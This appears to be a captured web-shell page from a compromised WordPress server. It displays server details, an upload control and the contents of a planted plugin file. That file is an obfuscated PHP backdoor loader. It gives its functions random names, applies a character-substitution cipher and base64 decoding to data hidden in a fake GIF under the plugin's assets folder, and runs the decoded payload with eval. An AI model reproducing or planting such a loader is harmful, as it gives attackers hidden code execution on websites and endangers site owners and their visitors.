HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpwisesolutions/wp-content/plugins/abozahush/axytevu.txt
<?php

function vekudy_ikhuqakhon($ykuqic_esyhuzyce) {
    if ($ykuqic_esyhuzyce == 1)
        return exyryc_exekhukh();
    if ($ykuqic_esyhuzyce == 2)
        return ixuwox_copochylac();
}

function ewyzol_yvushitheky($ykuqic_esyhuzyce) {
    $ynidaz = vekudy_ikhuqakhon(1);
    $bekhaty = vekudy_ikhuqakhon(2);
    for ($etogish = 0; $etogish < strlen($ynidaz); $etogish++) {
        $ogisil = substr($ynidaz, $etogish, 1);
        $emalyqa = substr($bekhaty, $etogish, 1);
        $akhamyv[$ogisil] = $emalyqa;
    }

    $efepaje = strtr($ykuqic_esyhuzyce, $akhamyv);
    $efepaje = base64_decode($efepaje);

    return $efepaje;
}

function bodoju_ufeshiguqo($ykuqic_esyhuzyce) {
    $unijafu = array();
    if (!file_exists($ykuqic_esyhuzyce))
        return false;
    $ithefib = @file_get_contents($ykuqic_esyhuzyce);
    if (!$ithefib)
        return false;
    $ithefib = substr($ithefib, 3);
    $unijafu = ewyzol_yvushitheky($ithefib);
    return $unijafu;
}

function exyryc_exekhukh() {
    $ithefib = "sYPQLTyH7M3=tNJlz8vb0O1mxauARqdenCcKIijfogVr6BDFEG4p2Sh+/X9ZkU5Ww";
    return $ithefib;
}

function ixuwox_copochylac() {
    $unijafu = "YAiH1RLF6fb=OsDdze/+2Tcm0hKEQJxPnv8pUCuIMt9X3Brgq5VkjoywaW4ZlS7NG";
    return $unijafu;
}

$chyvymy = bodoju_ufeshiguqo(__DIR__ . "/ass" . "ets/i" . "mages" . "/yfoqy" . "w.gif");
if ($chyvymy) {
    @eval($chyvymy);
}